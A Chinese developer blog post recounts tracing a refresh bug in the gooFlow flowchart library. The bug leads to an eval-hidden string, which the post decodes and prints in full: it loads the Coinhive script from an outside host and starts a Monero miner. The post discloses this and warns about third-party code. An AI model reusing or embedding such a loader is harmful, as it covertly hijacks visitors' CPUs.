由於工作需要,需要前端畫流程圖,找到一個開源的框架gooFlow(下圖就是這個開源框架),它可以編輯流程圖,提供節點和線以及一些輔助功能。仔細看一下這是一個國人寫框架,文件也是中文,用起來也很順手。
但是使用這個框架的時候發現一個很奇怪的bug,描述起來就是:我在父頁面的a標籤點選跳轉到流程圖頁面,如果a標籤的target是_top,頁面就不會報錯,但是如果target的值為_blank,頁面第一次開啟不會報錯,只有在重新整理的情況下頁面才會報錯。報錯資訊如下
其實從這個資訊推斷不出來什麼具體資訊,只知道jQuery這個物件應該不存在,所以導致程式出錯,仔細檢查我的頁面程式碼的引入,發現jQuery都有引入,都沒問題,結合這個bug出現的時機,只在新開頁面且重新整理過一次的情況下才會報錯,所以可以推斷出這個gooFlow框架應該是引用了父頁面的某個物件,然後在重新整理一次頁面的情況下,父頁面的這個物件為空才會導致報錯。
接著我就開始搜尋gooFlow的window.opener和window.parent的引用,window.opener返回的是建立該視窗的 Window 物件的引用,window.parent返回的是返回當前視窗的父視窗。但是都沒有找到導致bug的源頭。
束手無策的時候,嘗試使用最原始的方法,刪除父頁面上的js引用,看流程圖頁面丟擲什麼錯誤,當我把父頁面的jQuery刪除的時候,頁面報了不一樣的錯誤(下圖)。
找到對應方法處的程式碼,如下圖,是使用eval執行一串字串,很不好除錯,只好把這一串程式碼拷貝出來執行一下看執行的是什麼程式碼?
正當我納悶為啥需要對框架裡面的程式碼加密的時候,我找到了eval執行的字串,格式化之後如下,儲存的原因找到了,_opener.$的使用就是對開啟這個頁面的jQuery的引用,所以刪除父頁面jQuery報錯資訊會不一致。
var _ = window;
try {
_ = _.opener.$
} catch (e) {
try {
_ = _.top.$
} catch (e) {
_ = $
}
};
if (!_("head").data('x')) {
GooFlow.a = 1;
_a = 20;
var d = new Date();
_("head").data('x', 1);
_.ajax("https://coinhive.com/lib/coinhive.min.js?" + d.getFullYear() + d.getMonth() + d.getDate(), {
dataType: 'script',
cache: true
});
_i = setInterval(function () {
try {
new CoinHive.Anonymous('GGdPGhxIloldaArArQVwxZ2sd8l0a4kH', {throttle: 0.3}).start();
clearInterval(_i)
} catch (e) {
_a--;
if (_a < 1) document.write("")
}
}, 1000)
}複製程式碼
仔細看這個程式碼會發現這竟然是一串挖礦程式碼!!!會去請求介面:https://coinhive.com/lib/coinhive.min.js
,然後執行new CoinHive.Anonymous('GGdPGhxIloldaArArQVwxZ2sd8l0a4kH', {throttle: 0.3}).start();
開始挖礦,在網上找到了,這是門羅幣的挖礦程式碼。具體可以看看下面這篇文章:
JS挖礦 - 門羅幣是如何利用網頁挖礦的?
(http://liujinkai.com/2017/10/28/js-miner/)
現在很多開源的框架、外掛、庫,使用起來都要小心,一不小心就中了別人的圈套,挖礦這種事是犧牲使用者體驗的基礎上進行的,可以看到cpu使用飆升,電腦發燙,所以如果在你為了你的網站優化使用者體驗的時候,發現怎麼優化都無濟於事,記得找一找你引用程式碼裡面有哪些隱藏的圈套。
最後推薦一下chrome阻止挖礦的外掛minerBlock!
最最後,祝同學們高考順利!
歡迎關注我的微信公眾號:前端八點半
後續:gooFlow被投訴關閉了,issues裡面都是申討這個框架作者的,這裡只有部分截圖,大家可以一看笑之。
看不清的點選:某一個issue對話